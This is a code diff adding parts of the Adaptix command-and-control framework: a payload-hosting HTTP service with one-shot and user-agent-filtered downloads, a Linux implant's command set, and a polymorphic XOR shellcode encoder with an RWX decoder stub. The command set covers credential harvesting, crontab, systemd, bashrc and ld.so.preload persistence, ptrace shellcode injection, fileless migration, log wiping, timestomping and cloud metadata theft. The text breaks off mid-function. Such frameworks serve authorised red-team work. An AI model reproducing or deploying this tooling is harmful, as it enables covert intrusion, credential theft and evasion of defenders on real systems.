HandleHostPayload(operator string, args string) { + var req struct { + Filename string `json:"filename"` + Content string `json:"content"` // base64 + Path string `json:"path"` + MimeType string `json:"mime_type"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid host_payload request: "+err.Error()) + return + } + + content, err := base64.StdEncoding.DecodeString(req.Content) + if err != nil { + s.sendError(operator, "Invalid base64 content: "+err.Error()) + return + } + + mime := req.MimeType + if mime == "" { + mime = "application/octet-stream" + } + + s.addFile(operator, req.Filename, content, req.Path, mime, false, false, "", 0, "") +} + +func (s *HostingService) addFile(operator, filename string, content []byte, path, mimeType string, oneShot, encrypted bool, uaFilter string, maxDownloads int, expiresAt string) { + id := generateID() + + if path == "" { + path = generatePath() + } + if !strings.HasPrefix(path, "/") { + path = "/" + path + } + if mimeType == "" { + mimeType = "application/octet-stream" + } + + // Check path collision + s.mu.RLock() + for _, f := range s.files { + if f.Path == path { + s.mu.RUnlock() + s.sendError(operator, "Path already in use: "+path) + return + } + } + s.mu.RUnlock() + + // Check if endpoint already registered externally + if s.ts.TsEndpointExistsPublic("GET", path) { + s.sendError(operator, "Endpoint already exists: "+path) + return + } + + var encKey string + storedContent := content + + if encrypted { + key := make([]byte, 32) + rand.Read(key) + encKey = hex.EncodeToString(key) + + encData, err := aesEncrypt(content, key) + if err != nil { + s.sendError(operator, "AES encryption failed: "+err.Error()) + return + } + storedContent = encData + } + + hf := &HostedFile{ + ID: id, + Path: path, + Filename: filename, + MimeType: mimeType, + ContentSize: len(content), + Encrypted: encrypted, + EncKey: encKey, + UAFilter: uaFilter, + OneShot: oneShot, + MaxDownloads: maxDownloads, + Downloads: 0, + ExpiresAt: expiresAt, + Enabled: true, + CreatedBy: operator, + CreatedAt: time.Now().Format("2006-01-02 15:04:05"), + } + + // Save metadata + metaJSON, err := json.Marshal(hf) + if err != nil { + s.sendError(operator, "Failed to marshal metadata: "+err.Error()) + return + } + if err := s.ts.TsExtenderDataSave(ExtenderName, "meta:"+id, metaJSON); err != nil { + s.sendError(operator, "Failed to save metadata: "+err.Error()) + return + } + + // Save content + if err := s.ts.TsExtenderDataSave(ExtenderName, "data:"+id, storedContent); err != nil { + s.sendError(operator, "Failed to save content: "+err.Error()) + return + } + + // Register endpoint + s.registerEndpoint(hf) + + s.mu.Lock() + s.files[id] = hf + s.mu.Unlock() + + // Broadcast updated file list + s.broadcastFiles() +} + +func (s *HostingService) HandleDelete(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.Lock() + hf, ok := s.files[req.ID] + if !ok { + s.mu.Unlock() + s.sendError(operator, "File not found") + return + } + + path := hf.Path + delete(s.files, req.ID) + s.mu.Unlock() + + // Unregister endpoint + s.ts.TsEndpointUnregisterPublic("GET", path) + + // Delete from storage + s.ts.TsExtenderDataDelete(ExtenderName, "meta:"+req.ID) + s.ts.TsExtenderDataDelete(ExtenderName, "data:"+req.ID) + + s.broadcastFiles() +} + +func (s *HostingService) HandleToggle(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.Lock() + hf, ok := s.files[req.ID] + if !ok { + s.mu.Unlock() + s.sendError(operator, "File not found") + return + } + + hf.Enabled = !hf.Enabled + s.mu.Unlock() + + // Save updated metadata + s.saveMeta(hf) + + s.broadcastFiles() +} + +func (s *HostingService) HandleCopyURL(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.RLock() + hf, ok := s.files[req.ID] + if !ok { + s.mu.RUnlock() + s.sendError(operator, "File not found") + return + } + path := hf.Path + s.mu.RUnlock() + + s.sendResponseClient(operator, "url", map[string]interface{}{ + "url": path, + }) +} + +// ============================================================================ +// HTTP Serving +// ============================================================================ + +func (s *HostingService) registerEndpoint(hf *HostedFile) { + fileID := hf.ID + path := hf.Path + + handler := func(w http.ResponseWriter, r *http.Request) { + s.mu.RLock() + f, ok := s.files[fileID] + if !ok { + s.mu.RUnlock() + http.NotFound(w, r) + return + } + + // 1. Check enabled + if !f.Enabled { + s.mu.RUnlock() + http.NotFound(w, r) + return + } + + // 2. Check expiration + if f.ExpiresAt != "" { + expiry, err := time.Parse("2006-01-02T15:04:05", f.ExpiresAt) + if err == nil && time.Now().After(expiry) { + s.mu.RUnlock() + http.NotFound(w, r) + return + } + } + + // 3. Check max downloads + if f.MaxDownloads > 0 && f.Downloads >= f.MaxDownloads { + s.mu.RUnlock() + http.NotFound(w, r) + return + } + + // 4. Check UA filter + if f.UAFilter != "" { + ua := r.UserAgent() + matched, err := regexp.MatchString(f.UAFilter, ua) + if err != nil || !matched { + s.mu.RUnlock() + http.NotFound(w, r) + return + } + } + + // Snapshot what we need before upgrading the lock + mimeType := f.MimeType + filename := f.Filename + encrypted := f.Encrypted + encKey := f.EncKey + oneShot := f.OneShot + s.mu.RUnlock() + + // Load content from storage + contentData, err := s.ts.TsExtenderDataLoad(ExtenderName, "data:"+fileID) + if err != nil || len(contentData) == 0 { + http.NotFound(w, r) + return + } + + // 5. Increment download count + s.mu.Lock() + f2, ok2 := s.files[fileID] + if ok2 { + f2.Downloads++ + if oneShot { + f2.Enabled = false + } + } + s.mu.Unlock() + + // 7. Serve content + w.Header().Set("Content-Type", mimeType) + w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=\"%s\"", filename)) + w.Header().Set("Content-Length", fmt.Sprintf("%d", len(contentData))) + w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") + + // 8. If encrypted, add key header + if encrypted && encKey != "" { + w.Header().Set("X-Enc-Key", encKey) + } + + w.Write(contentData) + + // 9. Broadcast download event + remoteIP := getRemoteIP(r) + userAgent := r.UserAgent() + go func() { + s.sendEvent("download", map[string]interface{}{ + "file_id": fileID, + "filename": filename, + "path": path, + "remote_ip": remoteIP, + "user_agent": userAgent, + "time": time.Now().Format("2006-01-02 15:04:05"), + }) + + // 10. Persist updated metadata + s.mu.RLock() + f3, ok3 := s.files[fileID] + if ok3 { + s.saveMeta(f3) + } + s.mu.RUnlock() + + // Broadcast updated files list + s.broadcastFiles() + }() + } + + s.ts.TsEndpointRegisterPublicRaw("GET", path, handler) +} + +func getRemoteIP(r *http.Request) string { + if xff := r.Header.Get("X-Forwarded-For"); xff != "" { + parts := strings.Split(xff, ",") + return strings.TrimSpace(parts[0]) + } + if xri := r.Header.Get("X-Real-IP"); xri != "" { + return xri + } + return strings.Split(r.RemoteAddr, ":")[0] +} + +// ============================================================================ +// Persistence +// ============================================================================ + +func (s *HostingService) saveMeta(hf *HostedFile) { + metaJSON, err := json.Marshal(hf) + if err != nil { + return + } + s.ts.TsExtenderDataSave(ExtenderName, "meta:"+hf.ID, metaJSON) +} + +func (s *HostingService) restoreFiles() { + keys, err := s.ts.TsExtenderDataKeys(ExtenderName) + if err != nil { + return + } + + for _, key := range keys { + if !strings.HasPrefix(key, "meta:") { + continue + } + + data, err := s.ts.TsExtenderDataLoad(ExtenderName, key) + if err != nil { + continue + } + + var hf HostedFile + if json.Unmarshal(data, &hf) != nil { + continue + } + + // Verify content exists + id := strings.TrimPrefix(key, "meta:") + _, err = s.ts.TsExtenderDataLoad(ExtenderName, "data:"+id) + if err != nil { + continue + } + + s.files[hf.ID] = &hf + + // Re-register endpoint + s.registerEndpoint(&hf) + } +} + +func (s *HostingService) broadcastFiles() { + s.mu.RLock() + defer s.mu.RUnlock() + + var list []HostedFile + for _, f := range s.files { + list = append(list, *f) + } + s.sendResponseAll("files", list) +} + +// ============================================================================ +// AES-256-CBC Encryption +// ============================================================================ + +func aesEncrypt(plaintext []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + // PKCS7 padding + blockSize := block.BlockSize() + padding := blockSize - len(plaintext)%blockSize + padtext := bytes.Repeat([]byte{byte(padding)}, padding) + plaintext = append(plaintext, padtext...) + + // Random IV + iv := make([]byte, blockSize) + if _, err := io.ReadFull(rand.Reader, iv); err != nil { + return nil, err + } + + // Encrypt + mode := cipher.NewCBCEncrypter(block, iv) + ciphertext := make([]byte, len(plaintext)) + mode.CryptBlocks(ciphertext, plaintext) + + // Prepend IV + return append(iv, ciphertext...), nil +} diff --git a/AdaptixServer/extenders/linux_agent/Makefile b/AdaptixServer/extenders/linux_agent/Makefile new file mode 100644 index 000000000..eafc2ef41 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/Makefile @@ -0,0 +1,16 @@ +all: clean + @ echo " * Building agent_linux plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_linux.so pl_main.go pl_utils.go pl_hashes_linux.go pl_encoder_linux.go + @ echo " done..." + + @ echo " * Copying agent sources for per-payload compilation" + @ mkdir -p ./dist/src_agent/agent ./dist/src_agent/files + @ cp src_agent/agent/*.c src_agent/agent/*.h ./dist/src_agent/agent/ + @ rm -f ./dist/src_agent/agent/config.h ./dist/src_agent/agent/ApiDefines.h ./dist/src_agent/agent/strings_obf.h + @ cp src_agent/files/config.tpl ./dist/src_agent/files/ 2>/dev/null || true + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/linux_agent/ax_config.axs b/AdaptixServer/extenders/linux_agent/ax_config.axs new file mode 100644 index 000000000..558d0dd07 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/ax_config.axs @@ -0,0 +1,278 @@ +/// Linux Agent (Native C) + +let exit_action = menu.create_action("Exit", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, "exit")) }); +menu.add_session_agent(exit_action, ["linux"]) + +let file_browser_action = menu.create_action("File Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_files(id)) }); +let process_browser_action = menu.create_action("Process Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_process(id)) }); +let terminal_browser_action = menu.create_action("Remote Terminal", function(agents_id) { agents_id.forEach(id => ax.open_remote_terminal(id)) }); +menu.add_session_browser(file_browser_action, ["linux"]) +menu.add_session_browser(process_browser_action, ["linux"]) +menu.add_session_browser(terminal_browser_action, ["linux"]) + +let tunnel_access_action = menu.create_action("Create Tunnel", function(agents_id) { ax.open_access_tunnel(agents_id[0], true, true, false, false) }); +menu.add_session_access(tunnel_access_action, ["linux"]); + + +let execute_action = menu.create_action("Execute", function(files_list) { + file = files_list[0]; + if(file.type != "file"){ return; } + + let label_bin = form.create_label("Binary:"); + let text_bin = form.create_textline(file.path + file.name); + text_bin.setEnabled(false); + let label_args = form.create_label("Arguments:"); + let text_args = form.create_textline(); + + let layout = form.create_gridlayout(); + layout.addWidget(label_bin, 0, 0, 1, 1); + layout.addWidget(text_bin, 0, 1, 1, 1); + layout.addWidget(label_args, 1, 0, 1, 1); + layout.addWidget(text_args, 1, 1, 1, 1); + + let dialog = form.create_dialog("Execute binary"); + dialog.setSize(500, 80); + dialog.setLayout(layout); + if ( dialog.exec() == true ) + { + let command = "run " + text_bin.text() + " " + text_args.text(); + ax.execute_command(file.agent_id, command); + } +}); +let download_action = menu.create_action("Download", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "download " + file.path + file.name) ) }); +let remove_action = menu.create_action("Remove", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "rm " + file.path + file.name) ) }); +menu.add_filebrowser(download_action, ["linux"]) +menu.add_filebrowser(remove_action, ["linux"]) + + +let job_stop_action = menu.create_action("Stop job", function(tasks_list) { + tasks_list.forEach((task) => { + if(task.type == "JOB" && task.state == "Running") { + ax.execute_command(task.agent_id, "job kill " + task.task_id); + } + }); +}); +menu.add_tasks_job(job_stop_action, ["linux"]) + + +let cancel_action = menu.create_action("Cancel", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "job kill " + file.file_id) ) }); +menu.add_downloads_running(cancel_action, ["linux"]) + + + +var event_files_action = function(id, path) { + ax.execute_browser(id, "ls " + path); +} +event.on_filebrowser_list(event_files_action, ["linux"]); + +var event_upload_action = function(id, path, filepath) { + let filename = ax.file_basename(filepath); + ax.execute_browser(id, "upload " + filepath + " " + path + filename); +} +event.on_filebrowser_upload(event_upload_action, ["linux"]); + +var event_process_action = function(id) { + ax.execute_browser(id, "ps"); +} +event.on_processbrowser_list(event_process_action, ["linux"]); + + + +function RegisterCommands(listenerType) +{ + let cmd_cat = ax.create_command("cat", "Read a file (less 10 KB)", "cat /etc/passwd", "Task: read file"); + cmd_cat.addArgString("path", true); + + let cmd_cd = ax.create_command("cd", "Change current working directory", "cd /home/user", "Task: change working directory"); + cmd_cd.addArgString("path", true); + + let cmd_cp = ax.create_command("cp", "Copy file or directory", "cp src.txt dst.txt", "Task: copy file or directory"); + cmd_cp.addArgString("src", true); + cmd_cp.addArgString("dst", true); + + let cmd_download = ax.create_command("download", "Download a file", "download /tmp/file", "Task: download file"); + cmd_download.addArgString("path", true); + + let cmd_exit = ax.create_command("exit", "Terminate the agent", "exit", "Task: terminate agent"); + + let cmd_getuid = ax.create_command("getuid", "Get current user and UID", "getuid", "Task: get user info"); + + let cmd_env = ax.create_command("env", "List environment variables", "env", "Task: list env"); + + let cmd_netstat = ax.create_command("netstat", "List network connections (TCP/UDP)", "netstat", "Task: list connections"); + + let cmd_mounts = ax.create_command("mounts", "List mount points", "mounts", "Task: list mounts"); + + let cmd_edr = ax.create_command("edr", "Detect installed security tools (EDR, AV, audit)", "edr", "Task: EDR detection"); + + let cmd_creds = ax.create_command("creds", "Credential harvest", "creds all", "Task: credential harvest"); + cmd_creds.addArgString("type", "", "all"); + + let _cmd_persist_crontab = ax.create_command("crontab", "Install crontab persistence", "persist crontab /tmp/agent \"*/5 * * * *\""); + _cmd_persist_crontab.addArgString("cmd", true); + _cmd_persist_crontab.addArgString("schedule", "", "*/5 * * * *"); + let _cmd_persist_systemd = ax.create_command("systemd", "Install systemd user service", "persist systemd myservice /tmp/agent"); + _cmd_persist_systemd.addArgString("name", true); + _cmd_persist_systemd.addArgString("cmd", true); + let _cmd_persist_bashrc = ax.create_command("bashrc", "Append to ~/.bashrc", "persist bashrc \"/tmp/agent &\""); + _cmd_persist_bashrc.addArgString("cmd", true); + let _cmd_persist_ldpreload = ax.create_command("ldpreload", "Write to /etc/ld.so.preload (root)", "persist ldpreload /tmp/agent.so"); + _cmd_persist_ldpreload.addArgString("path", true); + let _cmd_persist_remove = ax.create_command("remove", "Remove persistence", "persist remove crontab"); + _cmd_persist_remove.addArgString("type", true); + _cmd_persist_remove.addArgString("name", false); + let _cmd_persist_status = ax.create_command("status", "List active persistence mechanisms", "persist status"); + let cmd_persist = ax.create_command("persist", "Persistence management"); + cmd_persist.addSubCommands([_cmd_persist_crontab, _cmd_persist_systemd, _cmd_persist_bashrc, _cmd_persist_ldpreload, _cmd_persist_remove, _cmd_persist_status]); + + let _cmd_container_detect = ax.create_command("detect", "Detect container runtime and cloud provider", "container detect"); + let _cmd_container_metadata = ax.create_command("metadata", "Fetch cloud instance metadata (IMDS)", "container metadata"); + let cmd_container = ax.create_command("container", "Container/Cloud detection and metadata"); + cmd_container.addSubCommands([_cmd_container_detect, _cmd_container_metadata]); + + let cmd_masquerade = ax.create_command("masquerade", "Masquerade process name (OPSEC)", "masquerade [kworker/0:1-events]", "Task: masquerade process"); + cmd_masquerade.addArgString("name", "", "[kworker/0:1-events]"); + + let cmd_timestomp = ax.create_command("timestomp", "Modify file timestamps (OPSEC)", "timestomp /tmp/agent 0", "Task: timestomp"); + cmd_timestomp.addArgString("path", true); + cmd_timestomp.addArgInt("timestamp", "", 0); + + let cmd_cleanlog = ax.create_command("cleanlog", "Truncate system logs (requires root)", "cleanlog", "Task: clean logs"); + + let cmd_inject = ax.create_command("inject", "Inject shellcode into process via ptrace", "inject 1234 AAAA", "Task: inject shellcode"); + cmd_inject.addArgInt("pid", true); + cmd_inject.addArgString("shellcode", true); + + let cmd_migrate = ax.create_command("migrate", "Re-exec agent from memfd (fileless)", "migrate", "Task: migrate agent"); + + let _cmd_job_list = ax.create_command("list", "List of jobs", "job list", "Task: show jobs"); + let _cmd_job_kill = ax.create_command("kill", "Kill a specified job", "job kill 1a2b3c4d", "Task: kill job"); + _cmd_job_kill.addArgString("task_id", true); + let cmd_job = ax.create_command("job", "Long-running tasks manager"); + cmd_job.addSubCommands([_cmd_job_list, _cmd_job_kill]); + + let cmd_kill = ax.create_command("kill", "Kill a process with a given PID", "kill 7865", "Task: kill process"); + cmd_kill.addArgInt("pid", true); + + let cmd_ls = ax.create_command("ls", "List contents of a directory", "ls /home/", "Task: list files"); + cmd_ls.addArgString("path", "", "."); + + let cmd_mv = ax.create_command("mv", "Move/rename file or directory", "mv src.txt dst.txt", "Task: move file"); + cmd_mv.addArgString("src", true); + cmd_mv.addArgString("dst", true); + + let cmd_mkdir = ax.create_command("mkdir", "Create directory", "mkdir /tmp/ex", "Task: make directory"); + cmd_mkdir.addArgString("path", true); + + let cmd_ps = ax.create_command("ps", "Show process list", "ps", "Task: show process list"); + + let cmd_pwd = ax.create_command("pwd", "Print current working directory", "pwd", "Task: print working directory"); + + let cmd_rm = ax.create_command("rm", "Remove a file or folder", "rm /tmp/file", "Task: remove file or directory"); + cmd_rm.addArgString("path", true); + + let cmd_run = ax.create_command("run", "Execute program in background", "run /tmp/script.sh", "Task: command run"); + cmd_run.addArgString("program", true); + cmd_run.addArgString("args", false); + + let _cmd_socks_start = ax.create_command("start", "Start a SOCKS5 proxy server", "socks start 1080 -a user pass"); + _cmd_socks_start.addArgFlagString("-h", "address", "Listening interface address", "0.0.0.0"); + _cmd_socks_start.addArgInt("port", true, "Listen port"); + _cmd_socks_start.addArgBool("-a", "Enable User/Password authentication"); + _cmd_socks_start.addArgString("username", false, "Username"); + _cmd_socks_start.addArgString("password", false, "Password"); + let _cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080"); + _cmd_socks_stop.addArgInt("port", true); + let cmd_socks = ax.create_command("socks", "Managing socks tunnels"); + cmd_socks.addSubCommands([_cmd_socks_start, _cmd_socks_stop]); + + let cmd_shell = ax.create_command("shell", "Execute command via /bin/sh", "shell id", "Task: command execute"); + cmd_shell.addArgString("cmd", true); + + let cmd_upload = ax.create_command("upload", "Upload a file", "upload /tmp/file.txt /root/file.txt", "Task: upload file"); + cmd_upload.addArgFile("local_file", true); + cmd_upload.addArgString("remote_path", false); + + let cmd_link = ax.create_command("link", "Link to a child agent via TCP pivot", "link 192.168.1.10 4444", "Task: link pivot"); + cmd_link.addArgString("target", true); + cmd_link.addArgInt("port", true); + + let cmd_unlink = ax.create_command("unlink", "Unlink a pivot connection", "unlink p0", "Task: unlink pivot"); + cmd_unlink.addArgString("id", true); + + let _cmd_exec_bof = ax.create_command("bof", "Execute a BOF (ELF .o file) in-memory", "execute bof /path/to/bof.o", "Task: execute BOF"); + _cmd_exec_bof.addArgFile("bof", true); + _cmd_exec_bof.addArgString("param_data", false); + _cmd_exec_bof.addArgBool("async", false); + let cmd_execute = ax.create_command("execute", "Execute a BOF file in-memory"); + cmd_execute.addSubCommands([_cmd_exec_bof]); + + let commands = ax.create_commands_group("linux", [cmd_cat, cmd_cd, cmd_cleanlog, cmd_container, cmd_cp, cmd_creds, cmd_download, cmd_edr, cmd_env, cmd_execute, cmd_exit, cmd_getuid, cmd_inject, cmd_job, cmd_kill, cmd_link, cmd_ls, cmd_masquerade, cmd_migrate, cmd_mounts, cmd_mv, cmd_mkdir, cmd_netstat, cmd_persist, cmd_ps, cmd_pwd, cmd_rm, cmd_run, cmd_shell, cmd_socks, cmd_timestomp, cmd_unlink, cmd_upload]); + + return { + commands_linux: commands + } +} + +function GenerateUI(listeners_type) +{ + let labelArch = form.create_label("Arch:"); + let comboArch = form.create_combo() + comboArch.addItems(["x86_64", "ARM64"]); + + let labelFormat = form.create_label("Format:"); + let comboFormat = form.create_combo() + comboFormat.addItems(["Binary ELF (Native)", "Shared Object (Native)", "Shellcode x86_64 (Native)", "Shellcode ARM64 (Native)"]); + + let hline = form.create_hline() + + let labelReconnTimeout = form.create_label("Reconnect timeout:"); + let textReconnTimeout = form.create_textline("10"); + textReconnTimeout.setPlaceholder("seconds") + + let labelReconnCount = form.create_label("Reconnect count:"); + let spinReconnCount = form.create_spin(); + spinReconnCount.setRange(0, 1000000000); + spinReconnCount.setValue(3); + + // Hide reconnect settings for bind_tcp listeners (internal — no outbound connection) + if( listeners_type.includes("LinuxTCP") && listeners_type.length == 1 ) { + labelReconnTimeout.setVisible(false); + textReconnTimeout.setVisible(false); + labelReconnCount.setVisible(false); + spinReconnCount.setVisible(false); + } + + let hline2 = form.create_hline() + let checkOpsec = form.create_check("OPSEC Checks (anti-debug, VM detection, string obfuscation)"); + + let layout = form.create_gridlayout(); + layout.addWidget(labelArch, 0, 0, 1, 1); + layout.addWidget(comboArch, 0, 1, 1, 1); + layout.addWidget(labelFormat, 1, 0, 1, 1); + layout.addWidget(comboFormat, 1, 1, 1, 1); + layout.addWidget(hline, 2, 0, 1, 2); + layout.addWidget(labelReconnTimeout, 3, 0, 1, 1); + layout.addWidget(textReconnTimeout, 3, 1, 1, 1); + layout.addWidget(labelReconnCount, 4, 0, 1, 1); + layout.addWidget(spinReconnCount, 4, 1, 1, 1); + layout.addWidget(hline2, 5, 0, 1, 2); + layout.addWidget(checkOpsec, 6, 0, 1, 2); + + let container = form.create_container() + container.put("arch", comboArch) + container.put("format", comboFormat) + container.put("reconn_timeout", textReconnTimeout) + container.put("reconn_count", spinReconnCount) + container.put("opsec_enabled", checkOpsec) + + let panel = form.create_panel() + panel.setLayout(layout) + + return { + ui_panel: panel, + ui_container: container, + ui_height: 400, + ui_width: 550 + } +} diff --git a/AdaptixServer/extenders/linux_agent/config.yaml b/AdaptixServer/extenders/linux_agent/config.yaml new file mode 100644 index 000000000..752cffdfc --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/config.yaml @@ -0,0 +1,10 @@ +extender_type: "agent" +extender_file: "agent_linux.so" +ax_file: "ax_config.axs" + +agent_name: "linux" +agent_watermark: "a7f3b902" +listeners: + - "GopherTCP" + - "LinuxTCP" +multi_listeners: true diff --git a/AdaptixServer/extenders/linux_agent/go.mod b/AdaptixServer/extenders/linux_agent/go.mod new file mode 100644 index 000000000..3816a8a10 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/go.mod @@ -0,0 +1,14 @@ +module adaptix_agent_linux + +go 1.25.4 + +require ( + github.com/Adaptix-Framework/axc2 v1.2.0 + github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 + github.com/vmihailenco/msgpack/v5 v5.4.1 +) + +require ( + github.com/stretchr/testify v1.11.1 // indirect + github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect +) diff --git a/AdaptixServer/extenders/linux_agent/go.sum b/AdaptixServer/extenders/linux_agent/go.sum new file mode 100644 index 000000000..8f0a39d1c --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/go.sum @@ -0,0 +1,16 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go b/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go new file mode 100644 index 000000000..4a5e34fd6 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go @@ -0,0 +1,472 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + mrand "math/rand/v2" +) + +// xorEncodeShellcodeX64 creates a polymorphic x86_64 decoder stub + XOR-encoded SO payload. +// Layout: [x64 stub ~200B][16B XOR key][4B LE size][XOR-encoded SO] +func xorEncodeShellcodeX64(payload []byte) ([]byte, error) { + // Generate random 16-byte XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, fmt.Errorf("generate XOR key: %w", err) + } + + // Generate polymorphic x86_64 decoder stub + stub, keyOffset, sizeOffset, sizeMovOffset := generateStubX64() + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size (LE uint32) — data area + mov ecx instruction + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + binary.LittleEndian.PutUint32(stub[sizeMovOffset+1:sizeMovOffset+5], uint32(len(payload))) + + // XOR encode payload + encoded := make([]byte, len(payload)) + for i := 0; i < len(payload); i++ { + encoded[i] = payload[i] ^ key[i%16] + } + + // Assemble final blob: stub + encoded payload + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + + return result, nil +} + +// xorEncodeShellcodeARM64 creates a polymorphic ARM64 Linux decoder stub + XOR-encoded SO payload. +// Layout: [ARM64 stub ~200B][16B XOR key][4B LE size][padding][XOR-encoded SO] +func xorEncodeShellcodeARM64(payload []byte) ([]byte, error) { + // Generate random 16-byte XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, fmt.Errorf("generate XOR key: %w", err) + } + + // Generate polymorphic ARM64 decoder stub + stub, keyOffset, sizeOffset := generateStubARM64Linux() + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size (LE uint32) + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + + // XOR encode payload + encoded := make([]byte, len(payload)) + for i := 0; i < len(payload); i++ { + encoded[i] = payload[i] ^ key[i%16] + } + + // Assemble final blob + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + + return result, nil +} + +// ── x86_64 stub generation ── + +func generateStubX64() (stub []byte, keyOffset int, sizeOffset int, sizeMovOffset int) { + stub = make([]byte, 0, 256) + + // Junk NOP sled (polymorphic — random count 2-6) + junkCount := mrand.IntN(5) + 2 + for i := 0; i < junkCount; i++ { + stub = append(stub, emitJunkX64()...) + } + + // Save registers (push rbx, push rcx, push rdx, push rsi, push rdi) + stub = append(stub, 0x53) // push rbx + stub = append(stub, 0x51) // push rcx + stub = append(stub, 0x52) // push rdx + stub = append(stub, 0x56) // push rsi + stub = append(stub, 0x57) // push rdi + + // ── mprotect syscall: make everything RWX ── + // lea rdi, [rip - offset] → page-align + // We'll patch this after we know the stub size + + mprotectPatchPos := len(stub) + // lea rdi, [rip + 0x00000000] — placeholder, patched later + stub = append(stub, 0x48, 0x8d, 0x3d, 0x00, 0x00, 0x00, 0x00) + // and rdi, ~0xFFF (page align) + stub = append(stub, 0x48, 0x81, 0xe7, 0x00, 0xf0, 0xff, 0xff) + + // mov rsi, SIZE — placeholder, patched later + mprotectSizePos := len(stub) + stub = append(stub, 0x48, 0xc7, 0xc6, 0x00, 0x00, 0x00, 0x00) + + // mov rdx, 7 (PROT_READ|PROT_WRITE|PROT_EXEC) + stub = append(stub, 0x48, 0xc7, 0xc2, 0x07, 0x00, 0x00, 0x00) + // mov rax, 10 (SYS_mprotect) + stub = append(stub, 0x48, 0xc7, 0xc0, 0x0a, 0x00, 0x00, 0x00) + // syscall + stub = append(stub, 0x0f, 0x05) + + // More junk + junkCount2 := mrand.IntN(3) + 1 + for i := 0; i < junkCount2; i++ { + stub = append(stub, emitJunkX64()...) + } + + // ── XOR decode loop ── + // lea rsi, [rip + key_offset] — key pointer + keyLeaPos := len(stub) + stub = append(stub, 0x48, 0x8d, 0x35, 0x00, 0x00, 0x00, 0x00) + + // lea 